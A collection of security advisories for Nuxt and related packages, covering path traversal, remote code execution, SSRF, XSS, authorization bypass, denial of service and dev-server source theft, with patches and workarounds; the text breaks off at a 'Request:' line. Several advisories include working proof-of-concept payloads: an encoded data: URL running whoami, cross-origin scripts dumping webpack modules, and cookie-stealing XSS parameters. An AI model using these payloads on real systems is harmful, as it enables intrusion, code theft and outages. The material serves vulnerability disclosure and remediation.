See how nuxt compares to other vendors in security performance
Code Injection in GitHub repository nuxt/nuxt prior to 3.5.3.
Summary Nuxt Devtools is missing authentication on the getTextAssetContent RPC function which is vulnerable to path traversal. Combined with a lack of Origin checks on the WebSocket handler, an attacker is able to interact with a locally running devtools instance and exfiltrate data abusing this vulnerability.
In certain configurations an attacker could leak the devtools authentication token and then abuse other RPC functions to achieve RCE.
Details The getTextAssetContent function does not check for path traversals (source), this could allow an attacker to read arbitrary files over the RPC WebSocket.
The WebSocket server does not check the origin of the request (source) leading to CSWSH. This may be intentional to allow certain configurations to work correctly.
Nuxt Devtools authentication tokens are placed within the home directory of the current user (source).
In the scenario that: + The user has a Nuxt3 Project running + Devtools is enabled and running + The project is placed within the users home directory. + The user visits a malicious webpage + User has authenticated with devtools at least once
The malicious webpage can connect to the Devtools WebSocket, perform a directory traversal brute force to find the authentication token, then use the authenticated writeStaticAssets function to create a new Component, Nitro Handler or app.vue file which will run automatically as the file is changed.
PoC POC will exploit the Devtools server on localhost:3000 (you may need to manually restart the server as the restart hook does not always work).
POC: https://devtools-exploit.pages.dev
1. Create a new project with nuxt.new. 2. Place the project inside your home directory. 3. Run pnpm run dev. 4. Open the POC page.
The POC will: + Identify devtools version. + Leak your devtools token. + Create a new server handler with an insecure eval.
Impact + All new Nuxt projects by default (devtools is enabled) are vulnerable to arbitrary file read. + Certain Nuxt configurations are vulnerable to Remote Code Execution
Summary Due to the insufficient validation of the path parameter in the NuxtTestComponentWrapper, an attacker can execute arbitrary JavaScript on the server side, which allows them to execute arbitrary commands.
Details While running the test, a special component named NuxtTestComponentWrapper is available. https://github.com/nuxt/nuxt/blob/4779f5906fa4d3c784c2e2d6fe5a5c5f181faaec/packages/nuxt/src/app/components/nuxt-root.vue#L42-L43
This component loads the specified path as a component and renders it.
https://github.com/nuxt/nuxt/blob/4779f5906fa4d3c784c2e2d6fe5a5c5f181faaec/packages/nuxt/src/app/components/test-component-wrapper.ts#L9-L27
There is a validation for the path parameter to check whether the path traversal is performed, but this check is not sufficient.
https://github.com/nuxt/nuxt/blob/4779f5906fa4d3c784c2e2d6fe5a5c5f181faaec/packages/nuxt/src/app/components/test-component-wrapper.ts#L15-L19
Since import(...) uses query.path instead of the normalized path, a non-normalized URL can reach the import(...) function. For example, passing something like ./components/test normalizes path to /root/directory/components/test, but import(...) still receives ./components/test.
By using this behavior, it's possible to load arbitrary JavaScript by using the path like the following: data:text/javascript;base64,Y29uc29sZS5sb2coMSk
Since resolve(...) resolves the filesystem path, not the URI, the above URI is treated as a relative path, but import(...) sees it as an absolute URI, and loads it as a JavaScript.
PoC 1. Create a nuxt project and run it in the test mode: npx nuxi@latest init test cd test TEST=true npm run dev 2. Open the following URL: http://localhost:3000/nuxtcomponenttest/?path=data%3Atext%2Fjavascript%3Bbase64%2CKGF3YWl0IGltcG9ydCgnZnMnKSkud3JpdGVGaWxlU3luYygnL3RtcC90ZXN0JywgKGF3YWl0IGltcG9ydCgnY2hpbGRfcHJvY2VzcycpKS5zcGF3blN5bmMoIndob2FtaSIpLnN0ZG91dCwgJ3V0Zi04Jyk 3. Confirm that the output of whoami is written to /tmp/test
Demonstration video: https://www.youtube.com/watch?v=FI6mN8WbcE4
Impact Users who open a malicious web page in the browser while running the test locally are affected by this vulnerability, which results in the remote code execution from the malicious web page. Since web pages can send requests to arbitrary addresses, a malicious web page can repeatedly try to exploit this vulnerability, which then triggers the exploit when the test server starts.
Impact
Nuxt looks up routeRules for the current navigation by calling getRouteRules({ path: to.path }) from the page-router plugin and the no-pages router plugin. The compiled routeRules matcher (built on rou3) performs case-sensitive matching, while vue-router is configured with its default sensitive: false and matches paths case-insensitively.
The two routers therefore disagree on which rules apply to a given request path: vue-router still matches the page record for /Admin/dashboard, but the routeRules lookup for the same path returns no match. Any appMiddleware declared via routeRules is never added to the middleware set and never runs, on both SSR and client navigations. The same path skips other path-keyed route rules in the same way (ssr, redirect, appLayout, and the prerender / payload hints used client-side).
For applications using routeRules with appMiddleware as an authorization gate (a documented pattern), an attacker can flip the case of any static segment in a protected URL (for example /Admin/dashboard instead of /admin/dashboard) to render the protected page with the middleware skipped. The server returns the fully server-rendered page including any useFetch / useAsyncData results captured during SSR.
This is an instance of CWE-178 (Improper Handling of Case Sensitivity) leading to CWE-863 (Incorrect Authorization) for apps that treat appMiddleware as an authorization boundary.
Mitigating factors
- Only affects apps that use routeRules.appMiddleware. The more idiomatic definePageMeta({ middleware }) is bound to the matched route record and is unaffected. - Nuxt route middleware is documented as an app-layer concern, not a server-side auth boundary; well-built apps enforce authorization again at the API / data-fetching layer. - Apps that explicitly set router.options.sensitive = true are not affected.
Patches
Fixed in nuxt@4.4.7 (commit 07e39cd6) and backported to nuxt@3.21.7 (commit 3f3e3fa7). The fix normalizes the path used for routeRules lookups so it matches vue-router's default case-insensitive semantics.
Workarounds
Until you can upgrade, you can mitigate by either:
1. Setting router.options.sensitive = true so vue-router matches case-sensitively (this changes route-matching behaviour app-wide). 2. Moving security-critical middleware off routeRules.appMiddleware and onto definePageMeta({ middleware: [...] }) on the protected page components, which is bound to the matched record. 3. Enforcing authorization at the API / data-fetching layer (which you should be doing in any case).
Credit
Reported by Anthropic / Claude through Anthropic's coordinated vulnerability disclosure process. Reference: ANT-2026-9FSEBYMC.
Summary nuxt/icon provides an API to allow client side icon lookup. This endpoint is at /api/nuxticon/[name].
The proxied request path is improperly parsed, allowing an attacker to change the scheme and host of the request. This leads to SSRF, and could potentially lead to sensitive data exposure.
Details The new URL constructor is used to parse the final path. This constructor can be passed a relative scheme or path in order to change the host the request is sent to. This constructor is also very tolerant of poorly formatted URLs.
As a result we can pass a path prefixed with the string http:. This has the effect of changing the scheme to HTTP. We can then subsequently pass a new host, for example http:127.0.0.1:8080. This would allow us to send requests to a local server.
PoC Make a request to /api/nuxticon/http:example.com, observe the data returned has been fetched from a different resource than intended.
I typically try to find an example within Nuxt infrastructure that is vulnerable to these types of bugs, but I could not identify any with this endpoint enabled.
Impact + SSRF, potential sensitive data exposure. + I do not believe this can be chained into an XSS, but it may be possible. + Does not have a security impact on services deployed on Cloudflare Workers. + Does not impact certain builds and modes (like static builds). + Can be mitigated using by disabling the fallbackToApi option.
Fix + Ensure the host has not been changed after the path is parsed. + Alternatively, prefix the path with ./.
Summary
By sending a crafted HTTP request to a server behind an CDN, it is possible in some circumstances to poison the CDN cache and highly impacts the availability of a site.
It is possible to craft a request, such as https://mysite.com/?/payload.json which will be rendered as JSON. If the CDN in front of a Nuxt site ignores the query string when determining whether to cache a route, then this JSON response could be served to future visitors to the site.
Impact
An attacker can perform this attack to a vulnerable site in order to make a site unavailable indefinitely. It is also possible in the case where the cache will be reset to make a small script to send a request each X seconds (=caching duration) so that the cache is permanently poisoned making the site completely unavailable.
Conclusion :
This is similar to a vulnerability in Next.js that resulted in CVE-2024-46982 (and see this article, in particular the "Internal URL parameter and pageProps" part, the latter being very similar to the one concerning us here.)
A vulnerability in Nuxt DevTools has been fixed in version 2.6.4. This issue may have allowed Nuxt auth token extraction via XSS under certain configurations. All users are encouraged to upgrade.
Product: Nuxt OG Image Version: 6.1.2 CWE-ID: CWE-404: Improper Resource Shutdown or Release Description: Failure to limit the length and width of the generated image results in a denial of service. Impact: Denial of service Exploitation condition: An external user Mitigation: Implement a limitation on the width and length of the generated image. Researcher: Dmitry Prokhorov (Positive Technologies)
Research During the analysis of the nuxt-og-image package, which is shipped with the nuxt-seo package, a zero‑day vulnerability was discovered. This research revealed that the image‑generation component by the URI: /og/d/ (and, in older versions, /og-image/) contains a Denial of Service (DoS) vulnerability. The issue arises because there is no restriction on the width and height parameters of the generated image. The vulnerability was reproduced using the standard configuration and the default templates.
Listing 1. The content of the configuration file nuxt.config.ts export default defineNuxtConfig({ modules: ['nuxt-og-image'], devServer: { host: 'web-test.local', port: 3000 }, site: { url: 'http://web-test.local:3000', }, ogImage: { fonts: [ 'Inter:400', 'Inter:700' ], } })
Vulnerability reproduction To demonstrate the proof‑of‑concept, a request should be sent with the increased width and height parameters. This will cause a delay and exhaust the server’s resources during image generation.
Listing 2. HTTP-request example GET /og/d/og.png?width=20000&height=20000 HTTP/1.1 Host: web-test.local:3000
Figure 1. HTTP-response: denial-of-service error <img width="974" height="663" alt="image" src="https://github.com/user-attachments/assets/ff625249-2e0d-4a03-a734-3a77fd0cbb81" />
After sending a HTTP-request, the test server's memory was exhausted.
Figure 2. Video memory exhausted error <img width="863" height="1033" alt="image" src="https://github.com/user-attachments/assets/66b5919a-f039-468e-812e-1f709c468287" />
Credits Researcher: Dmitry Prokhorov (Positive Technologies)
Impact
When a Nuxt dev server is bound to a network-reachable interface (for example nuxt dev --host for on-device testing), the default-enabled Chrome DevTools workspace endpoint GET /.well-known/appspecific/com.chrome.devtools.json returns the absolute project root (workspace.root, i.e. rootDir) and a persistent per-project workspace UUID.
GHSA-rq7w-g337-39qq added a gate (isLocalDevRequest) intended to restrict this endpoint to local requests, but that gate is header-based: it trusts request metadata rather than the connected peer address. A request with no Sec-Fetch-Site, Origin, and Referer headers (normal for a non-browser client such as curl) is treated as local, and the Host allow-list is compared against the attacker-supplied Host header. As a result, any unauthenticated host that can reach the dev server on the LAN can retrieve the project's absolute filesystem path and workspace UUID, for example with curl -H 'Host: localhost' http://<dev-host-lan-ip>:3000/.well-known/appspecific/com.chrome.devtools.json.
This is information disclosure only: there is no file read, file write, or code execution reachable from the endpoint. It requires the dev server to be reachable beyond loopback and experimental.chromeDevtoolsProjectSettings to be enabled (it defaults to true). Production builds are unaffected, because the endpoint is registered only as a development handler.
Patches
Fixed in nuxt@4.5.1 and nuxt@3.21.10. The endpoint now additionally requires the connected TCP peer to be a loopback address, verified from the socket rather than from request headers, so a non-loopback LAN client is rejected regardless of the Host, Origin, Referer, or Sec-Fetch- headers it sends. The shared header-based check is left unchanged, so the CSRF / same-origin behaviour that other dev handlers rely on is preserved. After this fix, Chrome DevTools workspace auto-mapping only works when the browser reaches the dev server over loopback (localhost / 127.0.0.1 / ::1), which matches the feature's intent (the browser and dev server sharing a filesystem).
Workarounds
- Do not bind the dev server to a non-loopback interface on an untrusted network, or restrict access to the dev port with a firewall. - Disable the feature by setting experimental.chromeDevtoolsProjectSettings: false in nuxt.config.
Nuxt is an open-source web development framework for Vue.js. From 4.6.0 until 4.6.4, payload.json URL generation and the experimental early-404 path use a trailing-slash regular expression whose work grows quadratically with a long run of slash characters. An unauthenticated request can synchronously occupy the Node.js event loop and delay other requests when server-side rendering uses isr, swr, or cache route rules, or when experimental.early404 is enabled. Applications without those route rules and without experimental.early404, fully prerendered applications, and client-only applications are unaffected; the impact is limited to availability. This issue is fixed in version 4.6.4.
Nuxt 4.0.0 before 4.4.7 and 3.18.0 before 3.21.7, when running the development server (nuxt dev) on Linux, binds the vite-node IPC server to an abstract-namespace Unix socket without permission restrictions, allowing local users to enumerate and connect. Unprivileged co-resident users can exploit the unprotected module request handler to read arbitrary files such as .env and SSH keys through the SSR plugin pipeline. Production builds are unaffected, as the IPC server runs only in development.
Summary The navigateTo function attempts to blockthe javascript: protocol, but does not correctly use API's provided by unjs/ufo. This library also contains parsing discrepancies.
Details The function first tests to see if the specified URL has a protocol. This uses the unjs/ufo package for URL parsing. This function works effectively, and returns true for a javascript: protocol.
After this, the URL is parsed using the parseURL function. This function will refuse to parse poorly formatted URLs. Parsing javascript:alert(1) returns null/"" for all values.
Next, the protocol of the URL is then checked using the isScriptProtocol function. This function simply checks the input against a list of protocols, and does not perform any parsing.
The combination of refusing to parse poorly formatted URLs, and not performing additional parsing means that script checks fail as no protocol can be found. Even if a protocol was identified, whitespace is not stripped in the parseURL implementation, bypassing the isScriptProtocol checks.
Certain special protocols are identified at the top of parseURL. Inserting a newline or tab into this sequence will block the special protocol check, and bypass the latter checks.
PoC POC - https://stackblitz.com/edit/nuxt-xss-navigateto?file=app.vue
Attempt payload X, then attempt payload Y.
Impact XSS, access to cookies, make requests on user's behalf.
Recommendations As always with these bugs, the URL constructor provided by the browser is always the safest method of parsing a URL.
Given the cross-platform requirements of nuxt/ufo a more appropriate solution is to make parsing consistent between functions, and to adapt parsing to be more consistent with the WHATWG URL specification.
Note I've reported this vulnerability here as it is unclear if this is a bug in ufo or a misuse of the ufo library.
This ONLY has impact after SSR has occurred, the javascript: protocol within a location header does not trigger XSS.
Summary
When experimental.componentIslands is enabled (default in Nuxt 4), any .server.vue file under pages/ is automatically registered as a server island under the key page<routeName> and exposed via the /nuxtisland/:name endpoint. Until this fix, requests through that endpoint rendered the page component directly via the SSR renderer without instantiating Vue Router, which meant route middleware declared on the page (including definePageMeta({ middleware })) did not run.
For Nuxt applications that gate a .server.vue page behind route middleware as their sole auth check, an unauthenticated attacker could bypass that check by requesting /nuxtisland/page<routeName><anyhash> directly and receiving the server-rendered HTML.
Affected configurations
All three conditions must hold for an application to be vulnerable:
1. experimental.componentIslands is enabled (the default in Nuxt 4; opt-in in Nuxt 3). 2. The application defines one or more .server.vue files under pages/, registering them as routed pages. 3. Authentication / authorization for at least one such page is enforced solely via route middleware (middleware/.ts referenced from definePageMeta), without a server-side check inside the page or its data layer.
Applications that enforce auth inside the island's own data layer (server-only API routes, useRequestEvent + manual session checks, etc.) were not affected. The general "route middleware does not run for non-page island components" behaviour is documented and unchanged; this advisory concerns the .server.vue page case specifically, where running middleware is the user's clear expectation.
Details
- Build (packages/nuxt/src/components/templates.ts): .server.vue pages are registered as island components with page prefix, making them addressable through /nuxtisland/page<routeName><hashId>. - Runtime (packages/nitro-server/src/runtime/handlers/island.ts): the handler resolves the requested island component and renders it via renderer.renderToString(ssrContext). The Vue Router plugin previously short-circuited middleware execution whenever ssrContext.islandContext was set. - The two paths interact so that route middleware declared on the source page never runs.
Proof of concept
Given a page app/pages/secret.server.vue:
vue <script setup lang="ts"> definePageMeta({ middleware: 'auth' }) </script>
<template> <h1>SECRET DATA</h1> </template>
with middleware/auth.ts blocking unauthenticated access:
bash Direct page request: blocked by middleware curl -i http://localhost:3000/secret -> 403 / redirect, depending on the middleware
Island request: middleware did not run before this fix curl -i 'http://localhost:3000/nuxtisland/pagesecretanyhash' -> 200 OK, body includes <h1>SECRET DATA</h1>
Patches
Patched in nuxt@4.4.6 and nuxt@3.21.6 by #35092. The Vue Router plugin now runs middleware and redirect handling for page islands (i.e. islands that originate from .server.vue files in pages/). The island handler propagates middleware-issued responses (~renderResponse), and a new beforeResolve guard returns HTTP 400 when the requested page<name> does not match the route component the URL resolves to.
Non-page island components are unaffected - they continue to render without route middleware, by design.
Workarounds
If you cannot upgrade immediately:
- Enforce authentication inside the .server.vue page itself, not via route middleware. Read the session from useRequestEvent() and throw createError({ statusCode: 401 }) (or redirect) before returning data. This is the recommended pattern for islands regardless of this advisory. - Disable experimental.componentIslands if your app does not use the feature. - If your app must keep route-middleware-only auth, gate the /nuxtisland/page URL prefix at your reverse proxy or in a server middleware.
Impact
With the default router.options.sensitive: false, Nuxt's page router resolves routes case-insensitively, so /Admin renders the same page as /admin. On the server, however, route rules were resolved with Nitro's route-rule matcher, which matches keys case-sensitively. A request whose path differs from a rule key only in letter case therefore rendered the page with none of that rule applied.
Earlier fixes (GHSA-mm7m-92g8-7m47, GHSA-hxvh-4h3w-prp9) case-folded the route rules that the Nuxt app itself reads, such as appMiddleware. This advisory covers the rules applied on the server:
- redirect: a rule used to send visitors away from a page, such as '/admin/': { redirect: '/login' }, was skipped, and the page and its server-fetched data were rendered instead. - headers: per-route response headers, including security headers such as Content-Security-Policy or X-Frame-Options, were not sent. - proxy: the request was not proxied. - ssr: false and noScripts: the page was server-rendered, or shipped scripts, despite the rule. - getRouteRules(event) (auto-imported, or from nuxt/server) and matchRouteRules from nuxt/server returned no rules for the case variant.
ts export default defineNuxtConfig({ routeRules: { '/admin/': { redirect: '/login' }, }, })
With this configuration, /admin/secret redirects to /login, but /Admin/secret rendered app/pages/admin/secret.vue.
Mitigating factors
- Applications that set router.options.sensitive: true in nuxt.config are not affected, because their pages are only served for the exact case of the route. - Access checks performed in server middleware, route middleware attached with definePageMeta, or in the page's data fetching are not affected. The issue only affects protections that rely on a server-side route rule matching the request path.
Affected versions
nuxt <4.6.2, including all Nuxt 3 releases, and @nuxt/nitro-server <4.6.2.
Patches
Fixed in nuxt@4.6.2. Nuxt 3 reached end of life on 31 July 2026 and will not receive a fix.
Nuxt now resolves server-side route rules itself, decoding and case-folding both the rule keys and the request path unless router.options.sensitive is set, and applies the result to Nitro's redirect, headers and proxy handling, the renderer, and the getRouteRules / matchRouteRules helpers.
When routing is case-insensitive, patched releases change some behaviour:
- Route rules also apply to case variants of server API routes. For example, /API/x now matches a /api/ proxy or headers rule. - Rule keys that differ only in letter case now resolve to the same path on the server, and the later key takes precedence.
The following are not changed by this fix:
- cache and swr response caching is attached to server routes by Nitro's router, which matches case-sensitively. A case variant is still rendered with its route rules applied, but its response is not cached. - Rules that a deployment preset compiles into platform configuration (for example Vercel's config.json or Netlify's redirects and headers) are matched by the platform. Once a request reaches the Nuxt server, the rules are applied as described above. - If sensitive is set only in app/router.options.ts, the server follows the nuxt.config value. In that configuration route rules can only apply to more paths, never fewer.
Workarounds
Upgrade to nuxt@4.6.2. If you cannot upgrade, including on Nuxt 3:
1. Set router: { options: { sensitive: true } } in nuxt.config, so pages are only served for the exact case of their route. 2. Alternatively, enforce access control in server middleware or route middleware rather than relying on a redirect route rule, and set security headers for every response rather than per route.
Product: Nuxt OG Image Version: 6.1.2 CWE-ID: CWE-79: Improper Neutralization of Input During Web Page Generation Description: Incorrect parsing of GET parameters leads to the possibility of HTML injection and JavaScript code injection. Impact: Client-Side JavaScript Execution Exploitation condition: An external user Mitigation: Correct the logic of parsing GET parameters and their subsequent implementation into the generated page. Researcher: Dmitry Prokhorov (Positive Technologies)
Research During the analysis of the nuxt-og-image package, which is shipped with the nuxt-seo package, a zero‑day vulnerability was discovered. This research revealed that the image‑generation component by the URI: /og/d/ (and, in older versions, /og-image/) contains a vulnerability that allows injection of arbitrary attributes into the HTML page body. The vulnerability was reproduced using the standard configuration and the default templates.
Listing 1. The content of the configuration file nuxt.config.ts export default defineNuxtConfig({ modules: ['nuxt-og-image'], devServer: { host: 'web-test.local', port: 3000 }, site: { url: 'http://web-test.local:3000', }, ogImage: { fonts: [ 'Inter:400', 'Inter:700' ], } })
Vulnerability reproduction To demonstrate the proof‑of‑concept, follow the URI: /og/d/og.html?width=1000&height=1000&onmouseover=alert(document.cookie)&autofocus The injected parameters onmouseover=alert(document.cookie) and autofocus are treated as attributes and are inserted directly into the generated HTML page.
Listing 2. HTTP-request example GET /og/d/og.html?width=1000&height=1000&onmouseover=alert(document.cookie) HTTP/1.1 Host: web-test.local:3000
Figure 1. The injected attribute in the HTML body <img width="974" height="670" alt="image" src="https://github.com/user-attachments/assets/d442c235-71a5-4da9-a963-8cf4b8614745" />
Figure 2. JavaScript code execution <img width="974" height="291" alt="image" src="https://github.com/user-attachments/assets/01579f19-8e80-4fae-8516-5903370ee6d8" />
Credits Researcher: Dmitry Prokhorov (Positive Technologies)
@nuxt/devalue before 1.2.3, as used in Nuxt.js before 2.6.2, mishandles object keys, leading to XSS.
Cross-site Scripting (XSS) - Reflected in GitHub repository nuxt/framework prior to v3.0.0-rc.13.
Cross-site Scripting (XSS) - DOM in GitHub repository nuxt/framework prior to v3.0.0-rc.13.
Cross-site Scripting (XSS) - Generic in GitHub repository nuxt/framework prior to 3.2.1.
Summary This is an incomplete fix for GHSA-4gf7-ff8x-hq99. Source code may be stolen during dev when using the webpack / rspack builder if the dev server is bound to a non-loopback address (e.g. nuxt dev --host) and the developer opens a malicious site on the same network.
Details The fix for GHSA-4gf7-ff8x-hq99 relied on Sec-Fetch-Mode and Sec-Fetch-Site headers. Because these headers are sent by the browsers only for potentially trustworthy origins, the check is able to bypass for non-potentially trustworthy origins.
Since the attack requires the website to be accessible via a non-potentially trustworthy origin, only apps that are using --host is affected.
PoC 1. Create a nuxt project with webpack / rspack builder. 1. Run npm run dev 1. Open http://localhost:3000 1. Run the script below in a web site that has a different origin. 1. You can see the source code output in the document and the devtools console.
js const script = document.createElement('script') script.src = 'http://192.168.0.31:3000/nuxt/app.js' // NOTE: replace with the IP address the dev server listens to script.addEventListener('load', () => { const key = Object.keys(window).find(k => k.startsWith("webpackChunk")) for (const page in window[key]) { const moduleList = window[key][page][1] console.log(moduleList)
for (const key in moduleList) { const p = document.createElement('p') const title = document.createElement('strong') title.textContent = key const code = document.createElement('code') code.textContent = moduleList[key].toString() p.append(title, ':', document.createElement('br'), code) document.body.appendChild(p) } } }) document.head.appendChild(script) (This script is the similar with GHSA-4gf7-ff8x-hq99 except for the script.src and the global variable name)
Impact Users using webpack / rspack builder may get the source code stolen by malicious websites if it uses a predictable host and also is using --host.
This vulnerability does not affect Chrome 142+ (and other Chromium based browsers) users due to the local network access restriction feature.
Patches Fixed in nuxt@4.4.6 and nuxt@3.21.6 by #35051. The dev-middleware same-origin check now falls back to comparing the request's Origin / Referer host against Host when Sec-Fetch- headers are absent, closing the non-trustworthy-origin bypass.
The fix only ships for the @nuxt/webpack-builder and @nuxt/rspack-builder packages. The default Vite builder was not affected.
Workarounds If you cannot upgrade immediately:
- Don't use nuxt dev --host. Bind the dev server to localhost (the default) and tunnel from other devices via SSH or a reverse proxy that enforces same-origin checks. - Use Chrome 142+ or another Chromium-based browser that enforces local network access restrictions. - Switch to the Vite builder for development.
Summary This is an incomplete fix for GHSA-6m52-m754-pw2g. Source code may still be stolen during dev when using the webpack / rspack builder if the dev server is bound to a non-loopback address (e.g. nuxt dev --host) and the developer opens a malicious site on the same network.
Details The fix for GHSA-6m52-m754-pw2g added an Origin / Referer fallback to the dev-middleware same-origin check, with a return true branch when neither header is present so that non-browser clients (curl, the HMR client, address-bar navigation) keep working.
That fallback is bypassed when a cross-origin attacker request reaches the dev server with all three signal headers absent:
- Sec-Fetch-Site is not sent by browsers to non-potentially-trustworthy destinations (HTTP on a non-loopback address). - Origin is not sent on non-CORS subresource fetches (a bare <script> with no crossorigin). - Referer can be suppressed by the attacker page with <meta name="referrer" content="no-referrer"> or referrerpolicy="no-referrer" on the <script> element.
A classic <script src="http://VICTIMLANIP:3000/nuxt/app.js" referrerpolicy="no-referrer"> from a non-trustworthy attacker origin produces exactly that header set, the request is allowed, and the attacker page can read the built source out of window.webpackChunk via Function.prototype.toString().
Since the attack requires the dev server to be reachable via a non-potentially-trustworthy origin, only apps using --host (or --host 0.0.0.0) are affected. Chrome 142+ users are also protected by Local Network Access restrictions.
PoC 1. Create a Nuxt project with the webpack / rspack builder. 1. Run npm run dev -- --host 0.0.0.0. 1. Open http://localhost:3000 on the developer machine. 1. From a different LAN host, serve the page below and open it in the same browser. 1. The compiled module source is exfiltrable from window.webpackChunknuxt<projectname>.
html <!doctype html> <meta name="referrer" content="no-referrer"> <script> ['/nuxt/runtime.js', '/nuxt/app.js'].forEach(p => { const s = document.createElement('script') s.src = 'http://VICTIMLANIP:3000' + p s.referrerPolicy = 'no-referrer' document.head.appendChild(s) }) setTimeout(() => { const key = Object.keys(window).find(k => k.startsWith('webpackChunk')) for (const [, mods] of window[key]) { for (const id in mods) { console.log(id, mods[id].toString()) } } }, 1500) </script>
Impact Users using the webpack / rspack builder with nuxt dev --host may get the built source code read by malicious websites on the same network, including module identifiers, the developer's local filesystem path, and any developer-controlled strings inlined into the bundle.
This vulnerability does not affect Chrome 142+ (and other Chromium-based browsers) users due to Local Network Access restrictions.
The default Vite builder is not affected.
Patches Fixed in @nuxt/webpack-builder@4.4.7 / @nuxt/rspack-builder@4.4.7 and backported to @nuxt/webpack-builder@3.21.7 / @nuxt/rspack-builder@3.21.7 by #35200 (4.x: commit e351de94; 3.x: commit 77187ee4). The dev-middleware same-origin check now treats a request with no Sec-Fetch-Site, no Origin, and no Referer as same-origin only when the dev server is loopback-bound, closing the header-suppression bypass.
The fix only ships for the @nuxt/webpack-builder and @nuxt/rspack-builder packages. The default Vite builder was not affected.
Workarounds If you cannot upgrade immediately:
- Don't use nuxt dev --host. Bind the dev server to localhost (the default) and tunnel from other devices via SSH or a reverse proxy that enforces same-origin checks. - Use Chrome 142+ or another Chromium-based browser that enforces Local Network Access restrictions. - Switch to the Vite builder for development.
Credit Reported by Berkan SAL (@Uhudsavasindankacanokcu2) via the Vercel Open Source HackerOne program.
Independently reported by @DavidCarliez via GitHub's coordinated disclosure flow (GHSA-xw96-2f5x-v9pv), closed as a duplicate of this advisory.
Impact
useHeadSafe restricts head input to an allowlist of safe tags and attributes. For example, bodyAttrs is limited to class and style, event handler attributes are removed, and <script> tags are only kept for JSON types.
When useHeadSafe is called inside a server island (a .server.vue component or page, or a component rendered with <NuxtIsland>), the island renderer serialises the raw input of every head entry into the island response without the option that marks it as safe input. <NuxtIsland> then pushes that input into the page's head as a regular entry, both during server rendering and when hydrating or refetching on the client.
As a result, input that useHeadSafe would normally strip (such as bodyAttrs.onload or executable <script> content) is rendered into the page. If an application passes user-controlled data to useHeadSafe inside a server island, an attacker who controls that data can achieve stored cross-site scripting on the application's origin.
vue <!-- components/AuthorMeta.server.vue --> <script setup lang="ts"> const { data: author } = await useFetch('/api/author') // author.value.head is user-authored, e.g. { bodyAttrs: { onload: '...' } } useHeadSafe(author.value.head) </script>
Mitigating factors
- Server components are experimental. They are only active when the application defines a .server.vue component or page, or enables experimental.componentIslands and renders <NuxtIsland>. - Exploitation requires the application to pass attacker-controlled data to useHeadSafe inside a server island. useHeadSafe called from regular (non-island) components and pages is not affected.
Affected versions
nuxt >=3.13.0, when head support for server islands was introduced. Nuxt 2 is not affected.
Patches
Fixed in nuxt@4.6.2. Nuxt 3 reached end of life on 31 July 2026 and will not receive a fix.
Patched releases apply Unhead's safe input filtering to useHeadSafe entries on the server before they are added to the island response, so islandResponse.head (including what render:island hooks see) only contains input that useHeadSafe allows.
Workarounds
Upgrade to nuxt@4.6.2. If you cannot upgrade, including on Nuxt 3:
1. Call useHeadSafe with untrusted input from a regular component or page rather than from inside a server island. 2. Alternatively, validate untrusted head input against your own allowlist before passing it to useHeadSafe inside a server island.
Summary Source code may be stolen during dev when using webpack / rspack builder and you open a malicious web site.
Details Because the request for classic script by a script tag is not subject to same origin policy, an attacker can inject <script src="http://localhost:3000/nuxt/app.js"> in their site and run the script. By using Function::toString against the values in window.webpackChunknuxtapp, the attacker can get the source code.
PoC 1. Create a nuxt project with webpack / rspack builder. 1. Run npm run dev 1. Open http://localhost:3000 1. Run the script below in a web site that has a different origin. 1. You can see the source code output in the document and the devtools console.
js const script = document.createElement('script') script.src = 'http://localhost:3000/nuxt/app.js' script.addEventListener('load', () => { for (const page in window.webpackChunknuxtapp) { const moduleList = window.webpackChunknuxtapp[page][1] console.log(moduleList)
for (const key in moduleList) { const p = document.createElement('p') const title = document.createElement('strong') title.textContent = key const code = document.createElement('code') code.textContent = moduleList[key].toString() p.append(title, ':', document.createElement('br'), code) document.body.appendChild(p) } } }) document.head.appendChild(script)
!image It contains the compiled source code and also the source map (but it seems the sourcemap contains transformed content in the sourcesContent field).
Impact Users using webpack / rspack builder may get the source code stolen by malicious websites.
Summary Nuxt allows any websites to send any requests to the development server and read the response due to default CORS settings.
Details While Vite patched the default CORS settings to fix https://github.com/vitejs/vite/security/advisories/GHSA-vg6x-rcgg-rjx6, nuxt uses its own CORS handler by default (https://github.com/nuxt/nuxt/pull/23995).
https://github.com/nuxt/nuxt/blob/7d345c71462d90187fd09c96c7692f306c90def5/packages/vite/src/client.ts#L257-L263
That CORS handler sets Access-Control-Allow-Origin: .
[!IMPORTANT] If on an affected version, it may be possible to opt-out of the default Nuxt CORS handler by configuring vite.server.cors.
PoC 1. Start a dev server in any nuxt project using Vite by nuxt dev. 2. Send a fetch request to http://localhost:3000/nuxt/app.vue (fetch('http://localhost:3000/nuxt/app.vue')) from a different origin page.
Impact Users with the default server.cors option using Vite builder may get the source code stolen by malicious websites
Additional Information /nuxtvitenode/manifest / /nuxtvitenode/module also seems to have Access-Control-Allow-Origin: , so it maybe also possible to exploit that handler. https://github.com/nuxt/nuxt/blob/7d345c71462d90187fd09c96c7692f306c90def5/packages/vite/src/vite-node.ts#L39 Although I didn't find a valid module id. Note that this handler is probably also vulnerable to DNS rebinding attacks as I didn't find any host header checks.
Summary navigateTo() with external: true generates a server-side HTML redirect body containing a <meta http-equiv="refresh"> tag. The destination URL is only sanitized by replacing " with %22, leaving <, >, &, and ' unencoded. An attacker who can influence the URL passed to navigateTo(url, { external: true }) can break out of the content="…" attribute and inject arbitrary HTML/JavaScript that executes under the application's origin.
This is a different root cause from CVE-2024-34343 (GHSA-vf6r-87q4-2vjf), which addressed javascript: protocol bypass. The issue here is triggered by any valid URL containing >.
Impact Applications that pass user-controlled input to navigateTo(url, { external: true }) — typically via a ?next= / ?redirect= query parameter used for post-login or "return to" flows — are vulnerable to reflected cross-site scripting. The injected script runs in the context of the application's origin during the server-rendered redirect response, before the meta-refresh fires.
Details In packages/nuxt/src/app/composables/router.ts, the SSR redirect path builds an HTML response body with only " percent-encoded in the destination URL:
ts const encodedLoc = location.replace(/"/g, '%22') nuxtApp.ssrContext!['~renderResponse'] = { status: sanitizeStatusCode(options?.redirectCode || 302, 302), body: <!DOCTYPE html><html><head><meta http-equiv="refresh" content="0; url=${encodedLoc}"></head></html>, headers: { location: encodeURL(location, isExternalHost) }, }
The Location header is normalised through encodeURL() (which uses the URL constructor and correctly percent-encodes attribute-significant characters). The HTML body uses a narrower sanitiser. That mismatch is the root cause.
Proof of concept
Global middleware that forwards a query parameter to navigateTo:
ts // middleware/redirect.global.ts export default defineNuxtRouteMiddleware((to) => { const next = to.query.next as string | undefined if (next) { return navigateTo(next, { external: true }) } })
Request:
